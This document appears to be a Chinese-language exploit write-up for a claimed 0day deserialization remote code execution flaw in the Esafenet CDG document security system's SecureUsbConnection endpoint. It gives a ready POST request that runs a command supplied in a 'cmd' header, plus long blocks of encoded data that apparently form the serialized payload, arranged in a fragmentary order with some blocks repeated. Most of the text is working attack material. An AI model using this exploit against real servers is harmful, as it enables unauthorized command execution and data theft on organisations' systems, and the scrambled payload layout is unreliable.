BDDHCKEELKFLEHCNEFIAOJJHHHKIAGDJJGNKODKIGJAGBFEBMDEOMCHILDNFEEPFOGPPAHEHACDCHDOID
ELKKBLAOJACMGMIDOJIJLPAOCLLIIFPLJDKCOEIOPBEAHBLGNHJHPLNMFFMKEHLOPIGNFNJNGIEPNELLH
MIIGNPODEDCIHCIJBNMENKGFNOMILCBMELHLHNOBFLJHDIFLHPCKEAGJJNEAOBPNGKECFLDPPMCCLMNMH
FICELDKEFNPMJHNGOKLOBHONELNCPLNDFKOIJONIBBBGABIANBIHHJDDLACPJEENOHCCDIJAPBKNNOECP
IGOIMNMMPOGNCEOGDKNCCBHEEJCLEFMBEMEJICLGNHNIPEIOIAPKJDGOIKGEBGODFIGCHKCFFLPGFJBKD
JOIMEJEHEEAOOJGLGKKDHGCIGFFOPILPFENMOKOMJLODFBNKOFEJKICAMBGPCPDNJOJDALNGCOFDAINHO
AMCNLIIJEJENKBHFDAOFAAPJKBONHBMGGKAEMGHNJPCJFBDCKICEIELCGDJKIDFAKAFEHEBOMOBOGFDNE
AANCAINACLGFMMFOMGCCBNLDCCPGLKNCABNEDFIGKDJHAEJIOOACADPENHDNOOKPILJCLNGMIIOPICHFP
ACILNJNAIEILINONKDMONACMLIKHOMPLHAODMDPFDNNKDMPMFEIMBOIMLOLCBBGOKONLDJCDDHGHIIIHD
OLIJMGPFKMMPBDDPBIKJIBPKDNHOAHEFENPMKBLHOCDKLCKIMAOFHOEDNHKFNKKGHCICLAFKOBANHOIHA
CPLPLBCEJFONFMMGKINEPMEAANNFKCFODBDNAOIDMEFBLPBAIABHFJBNGMIKCJFGLPEHNDJHMGKFPPGEA
FHEBFACNBIGGEIKCPBGIKHHNEAEMOAKKEMFKHDEBEGDDGJJLCIIICMNIDNMBIKHIDLJNCOHFENHIFNKJE
ECDNLHMPGPGMJMGJIJHDBFECNLMLFCLDFOMCFNBJELHJFFLDKGNOIHKEIFCBPOPCBGIJENFHKCNKOJMFB
FIPFGBLFJCFPFNOCKGAADPFFEJFDNKGFMEILHBFMAFBMBOFNDGOMCGNIGJGOBPEOBPEKGPMMEMHLHMMCN
DCDFPMACNDELNHGCALNPHHNFFLNAKEEEELCDLHDHBFOJBJFHBOJNBGEOLIACBICKNMEEGPBEKIBEEMKGK
LDAKAALKOBBJIGECCKHILNGKJLKGJBOPOFHCNHBKFPHLLLLMNNKPJADFGMCMPLILPCLOLJPOCIOOPOAPP
MPFOEPNFGEEDALHLEIHJFAIHCFKLJKCBAABOIBBEAGAAPJJIHIHIACHLKBCPMEHCDGDPKPMALDBADOEKF
MDFGAPPGNNJDAMPMNBAEHLLGIGCOLKJPGANBJODFEMFHHDAIMFNNIAEAKLKBBEEADPHIDIINDABGNKNOO
DAGKLPGAIOIFJLONMCNGOMOEALKIIJFLAHEDDNHDENODGINCAGDBFAAECFCNPBBOBBIALOHDOIOMMMJCA
HMEFMAGNLALDIPAJPHLOKCHJGGLGEHFJKMDEAHEGABCCMCFOBFCMGGKGBCCBPJIJJNHNAPPECAPJEHMDM
OLFIEOIFOFFGKCFCNFAKAPGBMEBJGIDLDBNHOLJGLOKOOKCNHGLNEGNBKHFDOJINFAPPKMMOJCOCENEHP
CGDNKKOJFPBNFHIDDHFPHMCOAOKMOPHJNOJCFOJJGOOLNCKAHBFDPIDMJGKBHHEAIOKPJEAJJCNJFMMCK
HJANGDEIHKHBAAFJCJGGECNBIBNLBLFMBGDJGHJDPMBIMPJLLBNNANCJJHBJBLEPGNIJOLGJLCGEJKNGB
LDLGKMIOANJGGDPHHCGHLENGJHBANCELNLNNBADCDDCDOENGLFGIEBCMHPFBLOIDMDNBCAMFMCMMKCDKP
OFBJFBGCMPOFAPCILIPFJDEDDAGKFMHBBEHIHOAGDKPONBOADJEIKKBPNBAPDNOEEEFONAMIFBLIHLLKO
LEFHKPPKONJOCFHFOAPIJGMHKPHGIMBGOBOAOCGLMGDLIOPIJKFJIPCHAJEGJFCPOBLAEDFFGIMKEIPDB
KNCKIHFHCIHDFACJMOGHMONMPPDKODNGCOBFMKBBMIEFGHOKOMDADNGANEMKDFLNMCABMOONIFKFEGDLJ
FAHLOODEBNBKFGPLANHIJFFDLBFJDCJHMPCPHBDPFICAJHCBBKLNLGEPHMCGKEKOLJBIIAMLMCFBIGACE
HBBLHAIBBODKEDBPKPADPBJIKCGFCKDHPKCGELAMHIFEBBICMAGHPDCIIAJMBKCFMHJDHIPNNHFJILAIB
PKKGLOEONLBLJGCIMHKAJCAHCNNDBDEJNDGFNMEJJECPFIONGEMLMOPEDNJDFBAHAEBOKMCNEMBEOMFIF
CKLEKNLJOAINFFJLKPGPLHJMAOMLFLGDPBCIIPPPOHNMKOKPGEMFEOLDEHEJMPIOIAODDNJOFGLHNDAJI
CAOFOJKDDFBMMJJEIAPPNDBAKMJIIGNHJOPHKPINANLLLBBIGNIKKHDLKLJGOPKHGHICEACMCJNMMDJGB
NACEOFNBDNKAKIOMHPECJEELPLNGPGMPHCOJGOFBENNNKIEKOJHKDAFGBAKHGILNJMMOKHDMIDIOGGKPF
IFJOLIDDEGFCLKGNICGHJOINJCBOPOBKNAIDEEAGGLCMCEGPGEDPNFIKEADDPPINJIOMFKGCMJHDHLGMO
DMMGCNEIGNGGEMLLABHCCHGGDPGHJFBJMCCFGJCLCFCDJEBFMDMIEDBFJPKLONGIHJABFOGBAALJKCADC
BOMDFAHLBPIJEFGLGOGPEAFAKFJCALDHMICDCIHPICLPEANCLCBKOIAMEHHLFIJHPEACFCPDDKCJHMNDB
HEHLHBHHPEEACDMICBKGDHODHPCMLAMHOEJKAOODJCIPGMOCGPOAFJDDLGCENAKAFDBDEOKAGLBHJHEJE
HCCJEFMIFNJDPDFNFFPAOLIHNFLJDDECGLCJNEEACCJDHPKOIJMOJOPDOKIGOPKMOHHPNOLCDHMOOFDKK
BCBEPJPFJBDOEJBCODALFBPMGFPHEMFIBCBEMCANBOMOAKAIGFHJAKKGGAMDPDFMHEEDFHOHKABHBEJFE
GAEIPMBPBIHIABBILCOGDCPKHJIPBLCLJEENPKOJLHMALCEKELIPFFLJNNBINAPPOFHPEJDNNILKCEECP
JIGJMKEJCNPEKJMDKPLLEHDDIGKKEDEPFHIJKKPNBBAJAMKNMNHIJFHBCKPKAKMAKCHMJJPFMFCFBKJMM
EBABPCGCOCNKBJJPLMPHPJFLJLDABHNFFBOIGNCOFHBMFKCKMMENEJCPDOBPMAIDHBNKIAIGKAAHDCAIB
LBKPNNLBNMEDCCOBGMDMAHJPPENANOCILDNELHNCIEAOMGKLMCLLEDDPNLDJNBFPEJOKCNNCJHKAPOCGF
GENACAGBNBDEIAMGCCGKDNOLNKOCNMMABOMGGKGOFFOLKALPKFNMJJMEMMBBIAAFAAFPIBBDLOENGFIJJ
```

```
AFHNKKIDCGJNIGAFPCPDHPJAKCEKCCKDAIEDJCIJGMJJLEOEDELMJJMEJCCNEIMPDKIALLHFJNNGHOMIJ
IDPOCLOMECDFMEPAGLKNKEAPKHCBCFDINJHAGJAGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJ
GPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPO
PFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBE
EPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIE
HCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCEN
LPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHN
CNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPC
IKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGL
FJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGC
OKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDF
LKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBK
HHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDH
PHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJ
FBFPFBDNEJCNPK
```

亿赛通电子文档安全管理系统SecureUsbConnection存在反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO
- 漏洞详情：

```
POST /CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

```
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAA
CABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDH
PNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMA
GEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJD
CINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKK
PHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCE
CMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEE
JPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGL
OINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPH
DDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLM
LBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEA
HMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPB
DICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEB
GJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLN
PKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMND
FBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOK
BMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGP
OILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBF
GMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKO
LAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOE
CCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGK
KMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHO
PGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPG
LIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHC
EKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMME
HPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJC
DJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCE
NBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPM
PJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFM
FOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGL
PNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJI
KALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPI
ALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIM
BKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBF
BMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFA
JIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPC
OKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHK
JHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDN
JFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFB
IEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAF
IDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIB
JGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAE
JELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJL
ADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDII
ENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKL
LKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNO
OFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJND
MJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJ
BFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLO
HFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJN
MEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPG
JLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFE
FKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMI
NIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIP
NGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDF
LNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDF
```

```
PEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEM
JJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKM
GPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGF
DKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAA
ONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKN
MELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPF
FKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLB
ALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCA
FJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOP
BHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOP
EKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJF
AFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFP
GLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFL
JBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFL
OLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPL
KDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGM
ECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIH
FMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPN
OFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFL
MNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNG
AEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJG
AMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDP
EOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJEC
EHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMI
PECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPAN
CHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHH
EHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJ
ELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMA
HCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKN
DKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCG
DPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOII
GAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIG
PNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKG
MNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHH
GMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGH
MKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADL
OPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENI
FPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMA
FKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKI
ECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMC
NAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJ
PGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJE
KKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBD
HMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAF
GGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKB
IIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIG
NBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJAN
PCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOL
DBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLA
BBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANL
KENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMIN
ICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEF
NBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIF
EGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFH
OKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMB
OHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLF
```

```
CDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENL
MABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCP
OCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFOD
OJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIM
MOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFH
LKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGM
IHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGM
OLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJ
NHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFF
FKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGB
OEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJ
EOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKPJOKLAFLJLENBFFNNAKANMKNKNBNOJBKEKODPBIDDCELH
BDDHCKEELKFLEHCNEFIAOJJHHHKIAGDJJGNKODKIGJAGBFEBMDEOMCHILDNFEEPFOGPPAHEHACDCHDOID
ELKKBLAOJACMGMIDOJIJLPAOCLLIIFPLJDKCOEIOPBEAHBLGNHJHPLNMFFMKEHLOPIGNFNJNGIEPNELLH
MIIGNPODEDCIHCIJBNMENKGFNOMILCBMELHLHNOBFLJHDIFLHPCKEAGJJNEAOBPNGKECFLDPPMCCLMNMH
FICELDKEFNPMJHNGOKLOBHONELNCPLNDFKOIJONIBBBGABIANBIHHJDDLACPJEENOHCCDIJAPBKNNOECP
IGOIMNMMPOGNCEOGDKNCCBHEEJCLEFMBEMEJICLGNHNIPEIOIAPKJDGOIKGEBGODFIGCHKCFFLPGFJBKD
JOIMEJEHEEAOOJGLGKKDHGCIGFFOPILPFENMOKOMJLODFBNKOFEJKICAMBGPCPDNJOJDALNGCOFDAINHO
